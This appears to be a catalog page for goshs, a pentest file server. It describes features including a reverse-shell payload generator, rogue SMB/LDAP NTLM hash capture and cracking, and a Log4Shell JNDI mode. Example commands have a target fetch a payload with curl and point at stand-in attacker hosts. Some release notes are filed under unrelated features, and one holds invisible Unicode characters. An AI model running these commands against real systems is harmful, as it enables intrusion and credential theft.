goshs is an open-source, free command-line file server written in Go, built as a modern replacement for Python's SimpleHTTPServer for anyone who needs to move files or catch callbacks mid-engagement without configuring Apache. It runs as a single binary and layers in protocol servers well beyond plain HTTP: HTTPSHTTPSHTTP carried over an encrypted TLS connection. It protects traffic in transit and lets a browser verify the server's certificate., WebDAV, FTP/SFTPSFTPSSH File Transfer Protocol, a file transfer standard built on top of SSH that provides encrypted upload, download, and remote file management; cyber tools use it to move files or exfiltrate data over an authenticated, encrypted channel., TFTPTFTPTrivial File Transfer Protocol, a minimal UDP-based file transfer protocol standardized in RFC 1350, used by cyber tools when simplicity and low overhead matter more than authentication or error recovery., SMBSMBA network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. with NTLMNTLMA Windows authentication protocol that proves knowledge of a password through a challenge and response. Captured authentication exchanges can be abused in relay attacks when protections are absent. hash capture and optional cracking, DNS and SMTP callback catchers, share links with expiry, and a reverse-shell payload generator, all reachable from one command or through a terminal dashboard for SSH sessions without port-forwarding. This makes it aimed squarely at penetration testers and CTF players rather than general sysadmins. Its own README frames it as the tool you reach for once python3 -m http.server stops being enough. With 13 contributors, 300 commits and 22 releases in the past year, most recently 19 days ago, it is actively maintained.
goshs - the simple, yet feature-rich web server goshs is a modern replacement for Python’s SimpleHTTPServer, written in Go.
Did that connection attempt leak credentials I can use?
the SMB server captures NetNTLMv2/v1+ESS challenge-response hashes from connecting clients and automatically attempts to crack them against username/domain permutations or a supplied wordlist
Is anything on this target making out-of-band DNS or SMTP calls back to me?
the DNS and SMTP servers log every incoming query or message with attachments, giving a record usable for blind injection or SSRF confirmation
How do I watch everything happening across my catchers without forwarding a dozen ports over SSH?
a terminal dashboard shows live panes for HTTP, DNS, SMB, LDAP, SMTP, shells, and clipboard in the same session you're already connected to
Will this dropped server still be sitting there after the engagement window closes?
a countdown timer shuts the server down on its own once the configured duration passes, with the remaining time shown live in the dashboard
45 capabilities
across 5 areas
· 4 backed by code, an API document or a real run
Built from goshs's releases, docs, README and our own runs.
“Seen” marks the month we first spotted a release the vendor didn't date.
Group names and tags are our labels.
+File and Payload Serving5 capabilitiesgoshs acts as a flexible HTTP/TFTP file server that can deliver files, generate reverse shell one-liners, and render payloads as templates at request time. This is the core use case the tool is built around.▸
+TFTP serververifiedA built-in TFTP server allows file transfers over UDP for environments where HTTP is not available or appropriate.4 releases · 5 other sources · first seen Jun 2026▸
Also counts toward: Command-line interface
release
Introduces httpserver.ProtocolACL, a fail-closed enforcer that wires per-folder .goshs ACL checks into every SFTP, FTP, TFTP and SMB read, write, list, rename, and handle-creation path — folders protected or blocked over HTTP are now denied outright on all protocols.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
v2.1.7 · Sep 2026
· source
· release history
Adds TFTP server (-tftp / --tftp-server) serving files over UDP port 69 by default, supporting both downloads (RRQ) and uploads (WRQ) with blksize/tsize option negotiation, path-traversal rejection, IP whitelist enforcement, and mDNS advertisement.
v2.1.3 · Jun 2026
· source
· release history
Adds TFTP server support (-tftp / --tftp-server) serving files over UDP port 69 by default, with RRQ/WRQ (download/upload), blksize/tsize option negotiation, path-traversal rejection, IP whitelist enforcement, --read-only/--upload-only support, and mDNS advertisement.
v2.1.3 · Jun 2026
· source
· release history
Supports custom TFTP port via -tftp-port for unprivileged operation.
v2.1.3 · Jun 2026
· source
· release history
Run TFTP on an unprivileged port when you can't bind UDP/69, useful inside containers or restricted shells.$ goshs -tftp -tftp-port 6900
v2.1.3 · Jun 2026
· source
Stand up a TFTP server during an engagement so Windows targets can pull files with the built-in tftp.exe client — no third-party tooling required.$ sudo goshs -tftp
v2.1.3 · Jun 2026
· source
+Reverse shell payload generatorshippedThe tool generates ready-to-run reverse shell one-liners for a wide range of languages and shells, with optional encoding for delivery.6 releases · 1 other source · first seen May 2025▸
Also counts toward: Python scripting support, Scripting language support
release
Restructures the --tui generator tab into a stacked layout so multi-line payload output can be mouse-selected without also grabbing menu entries.
v2.1.4 · Jul 2026
· source
· release history
Adds clipboard copy (y/c) in the --tui reverse-shell generator, supporting xclip/xsel, wl-copy, pbcopy, clip, and OSC 52 over SSH — filling both the system clipboard and X11 primary selection.
v2.1.4 · Jul 2026
· source
· release history
Adds one-key clipboard copy (y/c) in the --tui reverse-shell generator, pushing payloads to xclip/xsel, wl-copy, pbcopy, clip, or over SSH via OSC 52 (filling both system clipboard and X11 primary selection).
v2.1.4 · Jul 2026
· source
· release history
Adds a reverse-shell payload generator tab in the web UI and --tui dashboard, producing one-liners for Bash, nc, Python, PHP, PowerShell, Perl, Ruby, and more, with LHOST/LPORT substitution and optional URL/Base64 (-EncodedCommand) encoding.
v2.1.3 · Jun 2026
· source
· release history
Adds a reverse-shell payload generator tab in both the web UI and --tui dashboard, producing one-liners for Bash, nc, Python, PHP, PowerShell, Perl, Ruby, and more, with LHOST/LPORT substitution and optional URL or Base64 (-EncodedCommand) encoding.
v2.1.3 · Jun 2026
· source
· release history
Adds SFTP as a supported transfer protocol alongside HTTP and WebDAV.
v1.0.7 · May 2025
· source
· release history
example
Generate a reverse-shell payload over an SSH session and copy it to your local clipboard via OSC 52 — no local clipboard tool required on the remote host.$ goshs --tui
v2.1.4 · Jul 2026
· source
+Payload templatingverifiedFiles can be served as templates that substitute engagement-specific values such as listener address and port when a target requests them.3 releases · 3 other sources · first seen Feb 2022▸
release
Adds payload templating: serve files as Go templates rendered at request time via the ?tpl query parameter, with --template to enable and --tpl-var KEY=VALUE to inject per-engagement values (e.g. LHOST, LPORT) without editing files on disk.
v2.1.2 · Jun 2026
· source
· release history
Adds payload templating: serve files as Go templates rendered at download time, with {{.VAR}} placeholders substituted via --template and repeatable --tpl-var KEY=VALUE flags.
v2.1.2 · Jun 2026
· source
· release history
logrus integration introduces structured logging support as a new capability
v0.1.7 · Feb 2022
· source
· release history
command line
--template — Enable ?tpl payload templating in served files
v2.1.2 · Jun 2026
· command-line history
example
Serve a reverse-shell payload that auto-fills your callback IP and port at download time — no editing files between engagements.$ goshs -i 10.10.14.7 --template --tpl-var LHOST=10.10.14.7 --tpl-var LPORT=4444 # target fetches the rendered payload: curl 'http://10.10.14.7:8000/rev.ps1?tpl'
v2.1.2 · Jun 2026
· source
+ConPtyShell on-demand deliveryshippedThe ConPtyShell PowerShell script is served on demand rather than bundled in the binary, reducing the chance of antivirus detection.4 releases · first seen Jun 2026▸
Also counts toward: PowerShell script execution
release
ConPtyShell.ps1 is no longer embedded in the binary; goshs now serves it on demand at /ConPtyShell.ps1?conpty, using a local webroot copy if present or downloading and caching from upstream — reducing antivirus false positives.
v2.1.1 · Jun 2026
· source
· release history
ConPtyShell.ps1 is no longer embedded in the goshs binary; setups that relied on the built-in ConPtyShell payload must now either place a ConPtyShell.ps1 in the webroot or ensure goshs can reach the upstream GitHub repository to download it on demand.
v2.1.1 · Jun 2026
· source
· release history
Changes ConPtyShell delivery: ConPtyShell.ps1 is no longer embedded in the binary (reducing AV false positives) and is instead served on demand at /ConPtyShell.ps1?conpty, using a local webroot copy if present or downloading and caching from upstream otherwise.
v2.1.1 · Jun 2026
· source
· release history
New /ConPtyShell.ps1?conpty route is authentication-exempt, ensuring caught Windows hosts can always fetch the script.
v2.1.1 · Jun 2026
· source
· release history
+HTTP range request supportshippedHTTP range requests are supported so that large file transfers can be resumed if interrupted.3 releases · first seen Apr 2025▸
release
Supports HTTP Range requests for resumable and partial downloads of large files.
v2.1.2 · Jun 2026
· source
· release history
Supports HTTP Range requests, enabling resumable and partial-content downloads of large files.
v2.1.2 · Jun 2026
· source
· release history
Basic auth now accepts bcrypt-hashed passwords in addition to plaintext.
v1.0.3 · Apr 2025
· source
· release history
+Reverse Shell Management1 capabilitygoshs can receive and manage interactive reverse shell sessions from compromised hosts across multiple protocols. Operators can attach to sessions, upgrade shell quality, and control listeners without leaving the tool.▸
+Reverse shell managementshippedOperators can start, stop, and attach to reverse shell sessions, and upgrade them to fully interactive PTY sessions, all from within the tool.1 release · first seen Jun 2026▸
release
Enables interactive reverse shell management from the TUI: start/stop/restart listeners, attach to sessions, upgrade Unix shells to PTY (u) and Windows shells via ConPtyShell (U).
v2.1.1 · Jun 2026
· source
· release history
+Operator Interface and Session Control4 capabilitiesA full-screen terminal dashboard gives operators a single pane of glass over all running services and sessions, accessible over SSH without exposing additional ports. Supporting utilities such as credential reveal and log export reduce the need to restart or reconfigure the server mid-engagement.▸
+Interactive TUI dashboardverifiedA full-screen terminal dashboard shows live activity across all running services and can be accessed remotely over SSH.3 releases · 2 other sources · first seen May 2023▸
Also counts toward: Command-line interface
release
Adds --tui flag: a full-screen Bubble Tea terminal dashboard with live panes for HTTP, DNS, SMB, LDAP, SMTP, reverse shells, and clipboard — operable over SSH without port-forwarding the web UI.
v2.1.1 · Jun 2026
· source
· release history
Adds Authorization header to verbose mode logs when present
v0.3.2 · May 2023
· source
· release history
Adds ability to drop process privileges on Linux/MacOS for enhanced security
v0.3.2 · May 2023
· source
· release history
command line
--tui — Run the interactive terminal dashboard
v2.1.1 · Jun 2026
· command-line history
example
Monitor all callback protocols and manage reverse shells over an SSH session without forwarding the web UI port.$ goshs --tui --catcher -dns -dns-ip 10.10.14.5 -smtp -smtp-domain evil.example.com
v2.1.1 · Jun 2026
· source
+TUI credential revealshippedOperators can view and copy the server's basic-auth credentials from inside the running dashboard without restarting.3 releases · 1 other source · first seen Aug 2026▸
release
Adds a password reveal modal in the --tui status bar: press p to open an overlay showing basic-auth credentials, u to toggle plaintext, y/c to copy, and esc/q to close.
v2.1.5 · Aug 2026
· source
· release history
Supports plaintext toggle with u, copy with y/c, and close with esc/q in the credential popup
v2.1.5 · Aug 2026
· source
· release history
Adds p key shortcut in the TUI to open a modal overlay revealing the basic-auth password
v2.1.5 · Aug 2026
· source
· release history
example
When you launch goshs with a generated password and forget it mid-session, use the TUI popup to retrieve it without restarting.$ goshs --tui -b "user:$(xkcdpass)"
v2.1.5 · Aug 2026
· source
+TUI log exportshippedLogs from any service pane in the dashboard can be exported to JSON files without stopping the server.4 releases · first seen Feb 2023▸
Also counts toward: JSON data export
release
Adds per-pane log export to JSON (e / E) from within the TUI dashboard.
v2.1.1 · Jun 2026
· source
· release history
Export any pane's event log to JSON from the TUI with e (current pane) or E (all panes).
v2.1.1 · Jun 2026
· source
· release history
New YAML config file support lets you define all goshs settings in a config file, overriding CLI flags.
v1.0.3 · Apr 2025
· source
· release history
Mitigates slow loris attack against the server
v0.3.0 · Feb 2023
· source
· release history
+TUI clipboard managementshippedThe dashboard includes a clipboard manager where operators can stage, organise, and save data such as captured email attachments.3 releases · first seen Jun 2026▸
release
Clipboard management directly in the TUI: add (a), delete (d), and clear (C) entries without touching the web interface.
v2.1.1 · Jun 2026
· source
· release history
Save SMTP attachments to disk from the TUI with the s key.
v2.1.1 · Jun 2026
· source
· release history
Supports clipboard management directly from the TUI: add (a), delete (d), and clear (C) entries; save SMTP attachments to disk (s).
v2.1.1 · Jun 2026
· source
· release history
+Infrastructure Lifecycle Management1 capabilitygoshs includes controls that govern how long the server runs and when it shuts itself down, supporting unattended or time-limited engagements. These features reduce operational risk when infrastructure cannot be actively monitored.▸
+Time-boxed self-destruct (TTL)verifiedThe server can be configured to shut itself down automatically after a set time, so it does not remain exposed beyond the intended engagement window.6 releases · 4 other sources · first seen Oct 2021▸
Also counts toward: Command-line interface
release
TTL countdown is surfaced in the TUI status bar when --ttl is active.
v2.1.1 · Jun 2026
· source
· release history
New --ttl flag arms a graceful self-destruct timer using Go duration strings (30m, 2h, 1h30m); also settable as "ttl": <seconds> in the JSON config file.
v2.1.1 · Jun 2026
· source
· release history
Adds --ttl flag for graceful self-destruct after a Go duration string (30m, 2h, 1h30m, …) or via "ttl": <seconds> in the JSON config — useful for time-boxed engagements.
v2.1.1 · Jun 2026
· source
· release history
Adds the -e CLI flag to display embedded files in the UI
v0.3.9 · Jun 2024
· source
· release history
Enables compiling static files into the binary via the embedded/ folder and Makefile
v0.3.9 · Jun 2024
· source
· release history
Adds interface flag (-i) to specify a network interface for IPv4 address resolution
v0.1.2 · Oct 2021
· source
· release history
command line
--ttl — Self-destruct: shut down automatically after this duration (e.g. 30m, 2h); 0 disables
v2.1.1 · Jun 2026
· command-line history
example
Run a time-boxed listener that automatically shuts down after 4 hours — ideal for leaving infrastructure unattended during a long engagement window.$ goshs --tui --catcher -dns -dns-ip 10.10.14.5 --ttl 4h
v2.1.1 · Jun 2026
· source
Stand up a plain file server that self-destructs after 30 minutes for a quick, controlled file-transfer window.$ goshs --ttl 30m
v2.1.1 · Jun 2026
· source
Bind the server to a specific interface name (e.g., eth0) instead of defaulting.$ goshs -i eth0
v0.1.2 · Oct 2021
· source
+Other34 capabilities▸
+Per-folder ACL enforcementshippedFolder-level access control lists defined in `.goshs` files are enforced fail-closed across HTTP, WebDAV, SFTP, FTP, TFTP, and SMB — unreadable, unparsable, or malformed `.goshs` entries deny all access to that subtree, and path components named `.goshs` are refused in uploads and directory creation.8 releases · 1 other source · first seen Apr 2024▸
release
8 total
Adds httpserver.ProtocolACL, a fail-closed enforcer that wires per-folder .goshs ACL checks into every SFTP, FTP, TFTP, and SMB read, write, list, rename, and directory-query path — folders protected by a .goshsauth entry are denied outright on all protocols.
v2.1.7 · Sep 2026
· source
· release history
Makes the .goshs ACL resolver fail closed: an unreadable, unparsable, or non-regular .goshs entry (including a dangling symlink or a directory named .goshs) now denies everything in the subtree rather than silently dropping inherited auth and block lists; ?mkdir and uploads refuse any .goshs path component.
v2.1.7 · Sep 2026
· source
· release history
?mkdir and uploads now refuse any path component named .goshs.
v2.1.7 · Sep 2026
· source
· release history
A .goshs entry that is a directory, dangling symlink, or otherwise unreadable/unparsable now causes the ACL resolver to fail closed (deny everything in that subtree) instead of silently returning an empty ACL.
v2.1.7 · Sep 2026
· source
· release history
Any .goshs entry that is a directory, dangling symlink, or otherwise non-regular file now causes the ACL resolver to deny all access to that subtree instead of returning an empty ACL. Setups that inadvertently had a .goshs directory will lose access to those paths on upgrade.
v2.1.7 · Sep 2026
· source
· release history
Any SFTP, FTP, TFTP, or SMB client that previously accessed a .goshs-protected or block-listed subtree will now be denied outright — there is no credential mechanism on these protocols to satisfy the ACL.
v2.1.7 · Sep 2026
· source
· release history
example
Run goshs with valid HTTPS using Let's Encrypt for a specific domain and email contact.$ goshs -s -sl -sle your@mail.com -sld your.domain.com
v0.3.8 · Apr 2024
· source
+LDAP credential capture and crackingshippedCaptures LDAP bind, search, and NTLM events, forwards them via webhooks, and performs local hash cracking.5 releases · 1 other source · first seen Apr 2026▸
Also counts toward: Command-line interface, Outbound webhooks (the product notifies you)
release
LDAP bind, search, and NTLM events are forwarded via webhook integration to Discord, Slack, or other targets.
v2.0.5 · Apr 2026
· source
· release history
All LDAP events (bind, search, NTLM) stream live to a new WebSocket-backed LDAP collaborator UI tab with cracked-password badges.
v2.0.5 · Apr 2026
· source
· release history
NTLM hash cracking outputs in hashcat format using a built-in default wordlist or a custom wordlist supplied via --ldap-wordlist.
v2.0.5 · Apr 2026
· source
· release history
New --ldap flag launches a lightweight LDAP collaborator server for credential capture, supporting Simple bind (DN + cleartext password), SASL PLAIN, and full NetNTLMv2 challenge-response with inline hash cracking.
v2.0.5 · Apr 2026
· source
· release history
New SMB server mode captures and locally cracks NTLM hashes during penetration tests and CTF challenges, with optional webhook forwarding.
v2.0.0 · Apr 2026
· source
· release history
example
Capture LDAP credentials with wordlist cracking$ goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt
+Rogue SMB server with hash captureshippedCaptures NetNTLMv2/v1+ESS challenge-response hashes from connecting clients and optionally cracks them.2 releases · 3 other sources · first seen Apr 2026▸
Also counts toward: Outbound webhooks (the product notifies you)
release
New SMB server mode captures and locally cracks NTLM hashes during penetration tests and CTF challenges, with optional webhook forwarding.
v2.0.0 · Apr 2026
· source
· release history
New built-in SMB server captures NetNTLMv2/v1+ESS challenge-response hashes from connecting clients.
v2.0.0-beta.5 · Apr 2026
· source
· release history
docs
Single-binary file server supporting HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP, basic auth, NTLM hash capture, DNS/SMTP callbacks, and payload templating.
example
Spin up a rogue SMB server to capture NTLM hashes from machines on your target network during a pentest.$ goshs -smb -smb-domain CORP
v2.0.0 · Apr 2026
· source
+Out-of-band collaborator suiteshippedProvides built-in servers for DNS, SMTP, and HTTP callbacks to capture out-of-band interactions during security assessments.2 releases · 3 other sources · first seen Mar 2026▸
Also counts toward: Web management console
release
Built-in DNS server catches DNS callbacks when your domain points to the goshs instance.
v2.0.0-beta.1 · Mar 2026
· source
· release history
Built-in SMTP server captures inbound mail for exfiltration detection in CTF, CSRF, and XSS scenarios.
v2.0.0-beta.1 · Mar 2026
· source
· release history
docs
Single-binary file server supporting HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP, basic auth, NTLM hash capture, DNS/SMTP callbacks, and payload templating.
example
Catch DNS, SMTP, and HTTP callbacks during a CTF or XSS/CSRF engagement — open the Collaborator tab in the goshs web UI after pointing your domain's NS/MX records at the host running goshs.$ In the web UI, click the Collaborator tab to view captured DNS queries, inbound SMTP messages, and full HTTP request logs in real time.
v2.0.0-beta.1 · Mar 2026
· source
Catch DNS callbacks and receive emails$ goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com
+Hidden content maskingshippedHide specific files or folders from directory listings and serves based on .goshs configuration rules.5 releases · first seen Jun 2023▸
release
Adds -o/--output flag to write goshs output to a file.
v1.0.1 · Nov 2024
· source
· release history
Logs POST body content in verbose mode, including bodies sent to the server.
v1.0.0 · Nov 2024
· source
· release history
Automatically detects and pretty-prints JSON values found in request parameters and bodies.
v1.0.0 · Nov 2024
· source
· release history
Automatically detects and decodes base64-encoded values in request parameters and bodies before logging.
v1.0.0 · Nov 2024
· source
· release history
Enables hiding content from directory listings using the .goshs file
v0.3.5 · Jun 2023
· source
· release history
+Folder upload via web UIshippedWhole directory trees can be dragged, dropped, or selected for upload in the web UI with subdirectory structure preserved server-side; `..` path components and `.goshs` path segments are rejected.3 releases · 1 other source · first seen Nov 2024▸
release
Adds folder upload to the web UI: whole directory trees (including subdirectories) can be dragged, dropped, or selected for upload with structure preserved server-side; .. path components and .goshs path segments are refused.
v2.1.7 · Sep 2026
· source
· release history
Adds folder upload support to the web UI (#227): whole directory trees can be dropped or selected for upload with structure preserved, .. components sanitized, and .goshs path components refused.
v2.1.7 · Sep 2026
· source
· release history
Supports HTTP PUT for file uploads, enabling curl -T workflows.
v1.0.1 · Nov 2024
· source
· release history
example
Upload a file to a running goshs instance without a browser using curl's PUT transfer.$ curl -T secret.zip http://192.168.1.10:8080/uploads/
v1.0.1 · Nov 2024
· source
+Time-limited share linksshippedGenerate authentication-bypassing links for files or folders that expire after a duration or download count.2 releases · 2 other sources · first seen Jun 2025▸
release
Adds --persist-chat flag to save chat history to <webroot>/.goshs-chat/chat.json
v2.1.6 · Aug 2026
· source
· release history
Adds time-limited and download-count-limited share links that bypass authentication, letting anyone with the link download a file or folder (as ZIP) without credentials.
v1.1.0 · Jun 2025
· source
· release history
example
Completely disable the chat feature if you do not need collaboration surfaces$ ./goshs --no-chat
v2.1.6 · Aug 2026
· source
Start goshs with a 2-hour self-destruct for automated drop-and-forget file serving during a CI pipeline or timed engagement.$ goshs --ttl 2h
v2.1.1 · Jun 2026
· source
+Distribution package supportshippedEnables installation via native packages for Debian, RPM, Arch (AUR), openSUSE, Parrot OS, NixOS, and Winget.4 releases · first seen May 2026▸
release
Adds Winget support: winget install PatrickHener.Goshs.
v2.0.7 · May 2026
· source
· release history
Windows releases now ship as .zip archives.
v2.0.7 · May 2026
· source
· release history
Adds installation support for Arch (AUR), openSUSE, Parrot OS, and NixOS.
v2.0.7 · May 2026
· source
· release history
Linux releases now ship with native .deb and .rpm packages for direct installation.
v2.0.7 · May 2026
· source
· release history
+Web UI file downloadshippedAllows users to download individual files or multiple selected files as a single ZIP archive directly from the web interface list view.2 releases · 2 other sources · first seen Oct 2020▸
release
bulk download as zip file allows users to download multiple selected files in a single archive
v0.0.6 · Oct 2020
· source
· release history
download button provides a direct file download action for individual items
v0.0.6 · Oct 2020
· source
· release history
example
Download a single file directly from the list view without opening it first.$ click the 'download button' next to the filename
v0.0.6 · Oct 2020
· source
Select multiple files in the goshs web interface to export them as a single zip archive.$ click the 'bulk download' button after selecting files
v0.0.6 · Oct 2020
· source
+Interactive reverse shell catchershippedProvides built-in listeners to catch and manage incoming reverse shell connections, including TTY upgrades.3 releases · first seen Apr 2026▸
release
Built-in reverse shell listeners to catch callbacks without external tools.
v2.0.4 · Apr 2026
· source
· release history
New interactive shell catcher for receiving and managing incoming reverse shell connections.
v2.0.4 · Apr 2026
· source
· release history
The interactive reverse shell catcher is now fully cross-platform and builds and runs on Windows.
v2.0.5 · Apr 2026
· source
· release history
+Log4Shell exploitation simulationshippedSimulates Log4j vulnerability via LDAP search responses and LDAPS callback servers for CVE-2021-44228 testing.2 releases · 1 other source · first seen Apr 2026▸
Also counts toward: Command-line interface
release
New --ldap-jndi flag puts goshs into Log4Shell exploitation mode, responding to any LDAP search with a javaNamingReference entry.
v2.0.5 · Apr 2026
· source
· release history
LDAPS support via -s -ss (self-signed) or -s -sc/-sk (custom cert) automatically switches the LDAP port from 389 to 636.
v2.0.5 · Apr 2026
· source
· release history
example
Stand up a Log4Shell callback server over LDAPS with a self-signed cert to test for CVE-2021-44228 exposure.$ goshs --ldap --ldap-port 636 --ldap-jndi --ldap-jndi-base ldap://attacker.example.com -s -ss
v2.0.5 · Apr 2026
· source
+Stealth network modeshippedHide the server from passive network observers and disable default mDNS advertisements to reduce exposure.3 releases · first seen Dec 2025▸
release
mDNS advertisement is now opt-in instead of opt-out, reducing unintended network exposure by default
1.1.3 · Dec 2025
· source
· release history
New invisible mode hides the server from passive observers on the network
1.1.3 · Dec 2025
· source
· release history
mDNS is now opt-in instead of opt-out — existing setups that relied on mDNS being enabled by default will no longer advertise unless the opt-in flag is explicitly set
1.1.3 · Dec 2025
· source
· release history
+Host clipboard integrationshippedCopy served file content directly to the host operating system clipboard via the web UI.2 releases · 1 other source · first seen Oct 2020▸
release
Adds copy to local clipboard for shared app clipboard
v0.3.6 · Sep 2023
· source
· release history
non-persistent clipboard integrates system clipboard functionality without keeping data in memory
v0.0.6 · Oct 2020
· source
· release history
example
Copy a served file's content directly to the host clipboard via the web UI.$ In the goshs web interface, click the 'Copy to clipboard' button next to the desired file.
v0.3.6 · Sep 2023
· source
+Custom authentication usernameshippedConfigure a custom username for basic authentication instead of the default.1 release · 2 other sources · first seen Oct 2021▸
release
Allows setting a custom username for basic authentication
v0.1.4 · Oct 2021
· source
· release history
example
Authenticate with a custom username instead of the default user.$ goshs --auth-user admin --auth-pass secret123 /var/www/html
v0.1.4 · Oct 2021
· source
Serve with HTTPS and basic auth$ goshs -s -ss -b user:password
+Cross-platform tab completionshippedProvides shell tab completion for bash, fish, and zsh to auto-populate flags and subcommands.1 release · 1 other source · first seen May 2026▸
Also counts toward: Command-line interface
release
Adds shell tab completion for bash, fish, and zsh via --completion <shell>, with automatic detection of macOS/Homebrew install paths.
v2.0.8 · May 2026
· source
· release history
example
Install zsh tab completion so goshs flags and subcommands autocomplete in your shell.$ goshs --completion zsh
v2.0.8 · May 2026
· source
+File preview panelshippedRenders supported files such as Markdown and code directly in the browser with syntax highlighting.2 releases · first seen Apr 2026▸
release
Adds in-browser rendering of .md files with syntax highlighting via the file preview panel.
v2.0.6 · Apr 2026
· source
· release history
Extends file preview support to additional data types including code and documents.
v2.0.6 · Apr 2026
· source
· release history
+HTTP redirect testingshippedIssues HTTP redirects with custom status codes and headers for SSRF and open redirect testing.2 releases · first seen Apr 2026▸
release
New redirect endpoint issues HTTP redirects with custom status codes and headers via ?redirect&url=...&status=301&header=... for SSRF and open redirect testing.
v2.0.0 · Apr 2026
· source
· release history
New ?redirect query parameter handler lets you trigger intentional redirects — useful for CTF environments.
v2.0.0-beta.4 · Apr 2026
· source
· release history
+QR code generationshippedCreate QR codes for file and folder links to facilitate mobile device access.2 releases · first seen Jun 2025▸
release
Adds built-in tunneling to localhost.run, making goshs publicly reachable even behind NAT or firewalls with no port-forwarding required.
v1.1.4 · Mar 2026
· source
· release history
Adds QR code generation for file and folder links, enabling quick mobile device access.
v1.1.0 · Jun 2025
· source
· release history
+Minimal file-drop endpointshippedRun a restricted server instance accepting only uploads without directory browsing or clipboard functionality.1 release · 1 other source · first seen Mar 2025▸
Also counts toward: Command-line interface
release
Adds --no-clipboard flag to disable and hide the clipboard widget in the UI, enabling a pure file-drop endpoint when combined with upload-only mode.
v1.0.2 · Mar 2025
· source
· release history
example
Run a minimal file-drop endpoint that accepts uploads only — no clipboard, no directory browsing.$ goshs --no-clipboard --upload-only
v1.0.2 · Mar 2025
· source
+Web UI file deletionshippedDelete files individually or in bulk from the served directory via the web interface.1 release · 1 other source · first seen Sep 2023▸
release
Adds ability to delete files individually or in bulk mode
v0.3.6 · Sep 2023
· source
· release history
example
Remove one or more files from the served directory via the web UI.$ In the goshs web interface, select files and use the 'Delete' button for individual or bulk removal.
v0.3.6 · Sep 2023
· source
+Drag-and-drop upload supportshippedEnable drag-and-drop uploading in the web interface using dropzone.js.1 release · 1 other source · first seen Oct 2021▸
release
new UI feature: Drag & Drop support for the upload form (dropzone.js)
v0.1.5 · Oct 2021
· source
· release history
example
Enable drag-and-drop uploading in your goshs web interface.$ In your browser, drag files onto the upload zone of your goshs instance running on port :8080
v0.1.5 · Oct 2021
· source
+Read-only server modeshippedRun the server in read-only mode to prevent any file modifications.1 release · 1 other source · first seen Oct 2021▸
Run the server in read-only mode to prevent any modifications to files.$ goshs --read-only /var/www/html
v0.1.4 · Oct 2021
· source
+Upload-only server modeshippedRun the server in upload-only mode, preventing reads or directory listings.1 release · 1 other source · first seen Oct 2021▸
release
Adds upload-only mode to prevent reads or directory listings
v0.1.4 · Oct 2021
· source
· release history
example
Run the server in upload-only mode, typically for a dropbox-style feature.$ goshs --upload-only /var/uploads
v0.1.4 · Oct 2021
· source
+Brute-force lockout hardeningshippedPer-IP failed authentication attempts are counted inside the same locked section as the credential check, preventing concurrent requests from bypassing the five-failure lockout window.1 release · first seen Sep 2026▸
release
Hardens the brute-force lockout so each per-IP attempt is counted inside the same locked section as the credential check, preventing concurrent requests from resetting the counter and bypassing the 5-failure lockout window.
v2.1.7 · Sep 2026
· source
· release history
+Case-insensitive block-list enforcementshippedBlock-list and never-serve rules are compared case-insensitively across HTTP, WebDAV, SFTP, and directory listing filters, closing bypass paths on case-insensitive filesystems such as Windows and macOS.1 release · first seen Sep 2026▸
release
Extends all block-list and never-serve enforcement points across HTTP, WebDAV, SFTP and directory listing filters to compare names case-insensitively, closing bypasses on Windows and macOS filesystems.
v2.1.7 · Sep 2026
· source
· release history
+Persistent chat historyshippedPersist team chat history and images to disk across server restarts using the --persist-chat and --persist-chat-images flags.1 release · first seen Aug 2026▸
Also counts toward: Command-line interface
release
Adds --persist-chat (-pc) flag to write the full chat log (messages, edit flags, per-emoji reaction authors) to <webroot>/.goshs-chat/chat.json and restore it on restart; in-memory only by default.
v2.1.6 · Aug 2026
· source
· release history
+Update mechanism hardeningshippedVerifies auto-updates against MITM attacks using checksum validation.1 release · first seen May 2026▸
release
Auto-update check now verifies downloads against MITM attacks using checksum validation.
v2.0.7 · May 2026
· source
· release history
+Collaborator log exportshippedExports logs from the collaborator panel for offline analysis of captured interactions.1 release · first seen Apr 2026▸
release
Enables export of collaborator panel logs (HTTP, DNS, SMB, LDAP, SMTP) for offline analysis.
v2.0.6 · Apr 2026
· source
· release history
+Server state info endpointshippedExposes current server configuration and operational state via a JSON API endpoint.1 release · first seen Apr 2026▸
Also counts toward: JSON data export, REST API
release
New info JSON endpoint exposes server configuration and state.
v2.0.0 · Apr 2026
· source
· release history
+Zeroconf network discoveryshippedBroadcast HTTP, WebDAV, and SFTP services via mDNS to make instances discoverable on the local network.1 release · first seen May 2025▸
release
Broadcasts HTTP, WebDAV, and SFTP services via zeroconf mDNS, making instances discoverable on the local network (e.g., http://<hostname>.local:8000).
v1.0.7 · May 2025
· source
· release history
+Delete protectionshippedPrevent file removal operations via the server interface.1 release · first seen May 2025▸
release
Adds ability to disable delete functionality, preventing file removal via the server.
v1.0.4 · May 2025
· source
· release history
+Operational webhooksshippedReceive external notifications for basic file operations such as uploads, downloads, and deletions.1 release · first seen May 2025▸
Also counts toward: Outbound webhooks (the product notifies you)
release
Adds webhook support to receive notifications on basic file operations (upload, download, delete, etc.).
v1.0.4 · May 2025
· source
· release history
+Persistent logging to diskshippedWrites server output logs to a file on disk for later review or incident response.1 other source · first seen Nov 2024▸
example
Persist server logs to disk for later review or incident response.$ goshs -o /var/log/goshs.log
v1.0.1 · Nov 2024
· source
+JSON directory listing exportshippedReturn directory listings in JSON format via the ?json query parameter on all endpoints.1 release · first seen Feb 2023▸
Also counts toward: JSON data export
release
Adds support for the ?json query parameter on all endpoints to return directory listings in JSON format
v0.3.0 · Feb 2023
· source
· release history
Lines in monospace are the tool's own words: help text
parsed from its source, or an endpoint from its API document. Under
release, a line is our summary of a dated release. Under
docs, it is quoted from the tool's own documentation or
website. Each links back to the source it came from.
Command line
View
Source
No command matches.
load a captured run
composed command
No matchesTry a different search, or clear a filter to see more.
option surface across analysed releases
options at that releaseadded, per releaseremoved, per release
option
found in
since
description
No matchesTry a different search, or clear a filter to see more.
option changes per release — drag across the rail to set a range
→
Values are placeholders taken from each option’s declared default.
Nothing is executed here — the output shown is a recording of a run
that already happened.
Screenshots
From the release notes, newest first. Click one to see it full size.
